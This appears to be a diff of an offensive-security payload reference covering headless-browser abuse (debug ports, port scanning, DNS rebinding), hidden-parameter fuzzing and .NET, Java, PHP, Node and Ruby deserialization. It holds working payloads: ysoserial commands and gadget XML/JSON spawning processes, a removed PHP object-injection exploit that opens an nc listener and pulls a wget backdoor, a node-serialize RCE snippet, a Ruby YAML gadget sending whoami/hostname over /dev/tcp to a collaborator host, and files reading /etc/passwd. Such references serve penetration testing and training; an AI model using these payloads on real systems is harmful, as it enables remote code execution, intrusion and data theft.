+* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
+* Node inspector `--inspect` works like a `--remote-debugging-port`
+
+    ```ps1
+    node --inspect app.js # default port 9229
+    node --inspect=4444 app.js # custom port 4444
+    node --inspect=0.0.0.0:4444 app.js
+    ```
+
+Starting from Chrome 136, the switches `--remote-debugging-port` and `--remote-debugging-pipe` won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the `--user-data-dir` switch to point to a non-standard directory.
+
+The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
+
+## Network
+
+### Port Scanning
+
+Port Scanning: Timing attack
+
+* Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror.
+* Repeat at least 10 times → average time to get an error for a closed port
+* Test random port 10 times and measure time to error
+* If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened
+
+**Consideration**:
+
+* Chrome blocks by default a list of "known ports"
+* Chrome blocks access to local network addresses except localhost through 0.0.0.0
+
+### DNS Rebinding
+
+* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
+
+1. Chrome will make 2 DNS requests: `A` and `AAAA` records
+    * `AAAA` response with valid Internet IP
+    * `A` response with internal IP
+2. Chrome will connect in priority to the IPv6 (evil.net)
+3. Close IPv6 listener just after first response
+4. Open Iframe to evil.net
+5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
+6. From top window, inject script into iframe to exfiltrate content
+
+## CVE
+
+Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
+
+Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
+
+* Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
+* Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
+
+The `--no-sandbox` option disables the sandbox feature of the renderer process.
+
+```js
+const browser = await puppeteer.launch({
+    args: ['--no-sandbox']
+});
+```
+
+## References
+
+* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
+* [Changes to remote debugging switches to improve security - Will Harris - March 17, 2025](https://developer.chrome.com/blog/remote-debugging-port)
+* [Chrome DevTools Protocol - Documentation - July 3, 2017](https://chromedevtools.github.io/devtools-protocol/)
+* [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
+* [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
+* [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
+* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
+* [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://jopraveen.github.io/web-hackthebot/)
+* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)

Headless Browser/files/iframe.html

@@ -0,0 +1,5 @@
+<html>
+    <body>
+        <iframe src="/etc/passwd" height="640" width="640"></iframe>
+    </body>
+</html>

Headless Browser/files/window_location_js.html

@@ -0,0 +1,7 @@
+<html>
+    <body>
+        <script>
+            window.location="/etc/passwd"
+        </script>
+    </body>
+</html>

Hidden Parameters/README.md

@@ -0,0 +1,50 @@
+# HTTP Hidden Parameters
+
+> Web applications often have hidden or undocumented parameters that are not exposed in the user interface. Fuzzing can help discover these parameters, which might be vulnerable to various attacks.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [Bruteforce Parameters](#bruteforce-parameters)
+    * [Old Parameters](#old-parameters)
+* [References](#references)
+
+## Tools
+
+* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
+* [s0md3v/Arjun](https://github.com/s0md3v/Arjun) - HTTP parameter discovery suite
+* [Sh1Yo/x8](https://github.com/Sh1Yo/x8) - Hidden parameters discovery suite
+* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
+* [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
+
+## Methodology
+
+### Bruteforce Parameters
+
+* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
+
+    ```ps1
+    x8 -u "https://example.com/" -w <wordlist>
+    x8 -u "https://example.com/" -X POST -w <wordlist>
+    ```
+
+Wordlist examples:
+
+* [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
+* [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
+* [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
+* [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
+* [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
+
+### Old Parameters
+
+Explore all the URL from your targets to find old parameters.
+
+* Browse the [Wayback Machine](http://web.archive.org/)
+* Look through the JS files to discover unused parameters
+
+## References
+
+* [Hacker tools: Arjun – The parameter discovery tool - Intigriti - May 17, 2021](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
+* [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)

Insecure Deserialization/DotNET.md

@@ -0,0 +1,176 @@
+# .NET Deserialization
+
+> .NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
+
+## Summary
+
+* [Detection](#detection)
+* [Tools](#tools)
+* [Formatters](#formatters)
+    * [XmlSerializer](#xmlserializer)
+    * [DataContractSerializer](#datacontractserializer)
+    * [NetDataContractSerializer](#netdatacontractserializer)
+    * [LosFormatter](#losformatter)
+    * [JSON.NET](#jsonnet)
+    * [BinaryFormatter](#binaryformatter)
+* [POP Gadgets](#pop-gadgets)
+* [References](#references)
+
+## Detection
+
+| Data           | Description         |
+| -------------- | ------------------- |
+| `AAEAAD` (Hex) | .NET BinaryFormatter |
+| `FF01` (Hex)   | .NET ViewState |
+| `/w` (Base64)   | .NET ViewState |
+
+Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
+
+## Tools
+
+* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
+
+```ps1
+cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
+./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
+./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
+./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
+```
+
+## Formatters
+
+![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)
+.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
+
+### XmlSerializer
+
+* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
+* The attacker must control the **type** of the XmlSerializer.
+* Payload output: **XML**
+
+```xml
+.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
+<?xml version="1.0"?>
+<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
+    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
+        <ExpandedElement/>
+        <ProjectedProperty0>
+            <MethodName>Parse</MethodName>
+            <MethodParameters>
+                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
+                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
+                </anyType>
+            </MethodParameters>
+            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
+        </ProjectedProperty0>
+    </ExpandedWrapperOfXamlReaderObjectDataProvider>
+</root>
+```
+
+### DataContractSerializer
+
+> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
+
+* In C# source code, look for `DataContractSerializer(typeof(<TYPE>))`.
+* Payload output: **XML**
+* Data **Type** must be user-controlled to be exploitable
+
+### NetDataContractSerializer
+
+> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
+
+* In C# source code, look for `NetDataContractSerializer().ReadObject()`.
+* Payload output: **XML**
+
+```ps1
+.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
+```
+
+### LosFormatter
+
+* Use `BinaryFormatter` internally.
+
+```ps1
+.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
+```
+
+### JSON.NET
+
+* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
+* Payload output: **JSON**
+
+```ps1
+.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
+{
+    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
+    'MethodName':'Start',
+    'MethodParameters':{
+        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
+        '$values':['cmd', '/c calc.exe']
+    },
+    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
+}
+```
+
+### BinaryFormatter
+
+> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
+
+* In C# source code, look for `System.Runtime.Serialization.Binary.BinaryFormatter`.
+* Exploitation requires `[Serializable]` or `ISerializable` interface.
+* Payload output: **Binary**
+
+```ps1
+./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
+```
+
+## POP Gadgets
+
+These gadgets must have the following properties:
+
+* Serializable
+* Public/settable variables
+* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
+
+You must carefully select your **gadgets** for a targeted **formatter**.
+
+List of popular gadgets used in common payloads.
+
+* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
+    * Use `MethodParameters` to set arbitrary parameters
+    * Use `MethodName` to call an arbitrary function
+* **ExpandedWrapper**
+    * Specify the `object types` of the objects that are encapsulated
+
+    ```cs
+    ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
+    ```
+
+* **System.Configuration.Install.AssemblyInstaller**
+    * Execute payload with Assembly.Load
+
+    ```cs
+    // System.Configuration.Install.AssemblyInstaller
+    public void set_Path(string value){
+        if (value == null){
+            this.assembly = null;
+        }
+        this.assembly = Assembly.LoadFrom(value);
+    }
+    ```
+
+## References
+
+* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
+* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
+* [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://youtu.be/eDfGpu3iE4Q)
+* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
+* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
+* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
+* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
+* [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
+* [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
+* [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+* [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
+* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
+* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://blog.assetnote.io/2021/11/02/sitecore-rce/)

Insecure Deserialization/Files/PHP-Serialization-RCE-Exploit.php

@@ -1,32 +0,0 @@
-<?php 
-/*
-PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
-
-A simple PoC to exploit PHP Object Injections flaws and gain remote shell access. 
-
-Shouts to @jstnkndy @yappare for the assist!
-
-NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
-*/
-
-print "==============================================================================\r\n";
-print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
-print "==============================================================================\r\n";
-print "[+] Generating serialized payload...[OK]\r\n";
-print "[+] Launching reverse listener...[OK]\r\n";
-system('gnome-terminal -x sh -c \'nc -lvvp 4242\'');
-
-class PHPObjectInjection
-{
-   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
-   public $inject = "system('wget http://127.0.0.1/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
-}
-
-$url = 'http://localhost/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
-$url = $url . urlencode(serialize(new PHPObjectInjection));
-print "[+] Sending exploit...[OK]\r\n";
-print "[+] Dropping down to interactive shell...[OK]\r\n";
-print "==============================================================================\r\n";
-$response = file_get_contents("$url");
-
-?>

Insecure Deserialization/Files/node-serialize.js

@@ -0,0 +1,5 @@
+var y = {
+    rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
+}
+var serialize = require('node-serialize');
+console.log("Serialized: \n" + serialize.serialize(y));

Insecure Deserialization/Files/ruby-serialize.yaml

@@ -0,0 +1,19 @@
+---
+- !ruby/object:Gem::Installer
+    i: x
+- !ruby/object:Gem::SpecFetcher
+    i: y
+- !ruby/object:Gem::Requirement
+  requirements:
+    !ruby/object:Gem::Package::TarReader
+    io: &1 !ruby/object:Net::BufferedIO
+      io: &1 !ruby/object:Gem::Package::TarReader::Entry
+         read: 0
+         header: "abc"
+      debug_output: &1 !ruby/object:Net::WriteAdapter
+         socket: &1 !ruby/object:Gem::RequestSet
+             sets: !ruby/object:Net::WriteAdapter
+                 socket: !ruby/module 'Kernel'
+                 method_id: :system
+             git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'"
+         method_id: :resolve

Insecure Deserialization/Java.md

@@ -1,72 +1,315 @@
 # Java Deserialization
 
+> Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
+
+## Summary
+
+* [Detection](#detection)
+* [Tools](#tools)
+    * [Ysoserial](#ysoserial)
+    * [Burp extensions using ysoserial](#burp-extensions)
+    * [Alternative Tooling](#alternative-tooling)
+* [YAML Deserialization](#yaml-deserialization)
+* [ViewState](#viewstate)
+* [References](#references)
+
 ## Detection
 
-- "AC ED 00 05" in Hex
+* `"AC ED 00 05"` in Hex
-- "rO0" in Base64
+    * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
-- Content-type = "application/x-java-serialized-object"
+    * `00 05`: STREAM_VERSION. The serialization version.
-- "H4sIAAAAAAAAAJ" in gzip(base64)
+* `"rO0"` in Base64
+* `Content-Type` = "application/x-java-serialized-object"
+* `"H4sIAAAAAAAAAJ"` in gzip(base64)
 
-## Exploit
+## Tools
 
-[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
+### Ysoserial
+
+[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
 
 ```java
 java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
 java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
-java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
+java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
 java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
 ```
 
-payload | author | dependencies | impact (if not RCE)
+**List of payloads included in ysoserial:**
-------|--------|------ |------
-BeanShell1          |@pwntester, @cschneider4711 |bsh:2.0b5
-C3P0                |@mbechler                   |c3p0:0.9.5.2, mchange-commons-java:0.2.11
-Clojure             |@JackOfMostTrades           |clojure:1.8.0
-CommonsBeanutils1   |@frohoff                    |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
-CommonsCollections1 |@frohoff                    |commons-collections:3.1
-CommonsCollections2 |@frohoff                    |commons-collections4:4.0
-CommonsCollections3 |@frohoff                    |commons-collections:3.1
-CommonsCollections4 |@frohoff                    |commons-collections4:4.0
-CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
-CommonsCollections6 |@matthias_kaiser            |commons-collections:3.1
-FileUpload1         |@mbechler                   |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
-Groovy1             |@frohoff                    |groovy:2.3.9
-Hibernate1          |@mbechler|
-Hibernate2          |@mbechler|
-JBossInterceptors1  |@matthias_kaiser            |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
-JRMPClient          |@mbechler|
-JRMPListener        |@mbechler|
-JSON1               |@mbechler                   |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
-JavassistWeld1      |@matthias_kaiser            |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
-Jdk7u21             |@frohoff|
-Jython1             |@pwntester, @cschneider4711 |jython-standalone:2.5.2
-MozillaRhino1       |@matthias_kaiser            |js:1.7R2
-Myfaces1            |@mbechler|
-Myfaces2            |@mbechler|
-ROME                |@mbechler                   |rome:1.0
-Spring1             |@frohoff                    |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
-Spring2             |@mbechler                   |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
-URLDNS              |@gebl| | jre only vuln detect
-Wicket1             |@jacob-baines               |wicket-util:6.23.0, slf4j-api:1.6.4
 
-Additional tools (integration ysoserial with Burp Suite):
+| Payload             | Authors                                | Dependencies |
+| ------------------- | -------------------------------------- | --- |
+| AspectJWeaver       | @Jang                                  | aspectjweaver:1.9.2, commons-collections:3.2.2 |
+| BeanShell1          | @pwntester, @cschneider4711            | bsh:2.0b5 |
+| C3P0                | @mbechler                              | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
+| Click1              | @artsploit                             | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
+| Clojure             | @JackOfMostTrades                      | clojure:1.8.0 |
+| CommonsBeanutils1   | @frohoff                               | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
+| CommonsCollections1 | @frohoff                               | commons-collections:3.1 |
+| CommonsCollections2 | @frohoff                               | commons-collections4:4.0 |
+| CommonsCollections3 | @frohoff                               | commons-collections:3.1 |
+| CommonsCollections4 | @frohoff                               | commons-collections4:4.0 |
+| CommonsCollections5 | @matthias_kaiser, @jasinner            | commons-collections:3.1  |
+| CommonsCollections6 | @matthias_kaiser                       | commons-collections:3.1  |
+| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1  |
+| FileUpload1         | @mbechler                              | commons-fileupload:1.3.1, commons-io:2.4|
+| Groovy1             | @frohoff                               | groovy:2.3.9            |
+| Hibernate1          | @mbechler                              | |
+| Hibernate2          | @mbechler                              | |
+| JBossInterceptors1  | @matthias_kaiser                       | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
+| JRMPClient          | @mbechler                              | |
+| JRMPListener        | @mbechler                              | |
+| JSON1               | @mbechler                              | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
+| JavassistWeld1      | @matthias_kaiser                       | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
+| Jdk7u21             | @frohoff                               | |
+| Jython1             | @pwntester, @cschneider4711            | jython-standalone:2.5.2 |
+| MozillaRhino1       | @matthias_kaiser                       | js:1.7R2 |
+| MozillaRhino2       | @_tint0                                | js:1.7R2 |
+| Myfaces1            | @mbechler                              | |
+| Myfaces2            | @mbechler                              | |
+| ROME                | @mbechler                              | rome:1.0 |
+| Spring1             | @frohoff                               | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
+| Spring2             | @mbechler                              | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
+| URLDNS              | @gebl                                  | |
+| Vaadin1             | @kai_ullrich                           | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
+| Wicket1             | @jacob-baines                          | wicket-util:6.23.0, slf4j-api:1.6.4 |
 
-- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
+### Burp extensions
-- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
-- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
-- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
-- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
 
-JRE8u20_RCE_Gadget
+* [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) -  Burp extension to perform Java Deserialization Attacks
-[https://github.com/pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
+* [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) -  All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
+* [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) -  YSOSERIAL Integration with Burp Suite
+* [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
+* [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
 
-JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
+### Alternative Tooling
+
+* [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
+* [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
+* [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
+* [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
+* [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
+* [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
+* [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
+
+  ```java
+  java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
+  python deserek.py yss_base.bin --format python > yss_url.py
+  python yss_url.py yss_new.bin
+  java -cp JavaSerializationTestSuite DeSerial yss_new.bin
+  ```
+
+* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
+
+  ```java
+  $ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
+  $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
+  $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
+  // -a - generates/tests all payloads for that marshaller
+  // -t - runs in test mode, unmarshalling the generated payloads after generating them.
+  // -v - verbose mode, e.g. also shows the generated payload in test mode.
+  // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
+  // arguments - Gadget specific arguments
+  ```
+
+Payload generators for the following marshallers are included:
+
+| Marshaller                      | Gadget Impact                                |
+| ------------------------------- | ---------------------------------------------- |
+| BlazeDSAMF(0&#124;3&#124;X)     | JDK only escalation to Java serialization various third party libraries RCEs |
+| Hessian&#124;Burlap             | various third party RCEs |
+| Castor                          | dependency library RCE |
+| Jackson                         | **possible JDK only RCE**, various third party RCEs |
+| Java                            | yet another third party RCE |
+| JsonIO                          | **JDK only RCE** |
+| JYAML                           | **JDK only RCE** |
+| Kryo                            | third party RCEs |
+| KryoAltStrategy                 | **JDK only RCE** |
+| Red5AMF(0&#124;3)               | **JDK only RCE** |
+| SnakeYAML                       | **JDK only RCEs** |
+| XStream                         | **JDK only RCEs** |
+| YAMLBeans                       | third party RCE |
+
+## JSON Deserialization
+
+Multiple libraries can be used to handle JSON in Java.
+
+* [json-io](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#json-io-json)
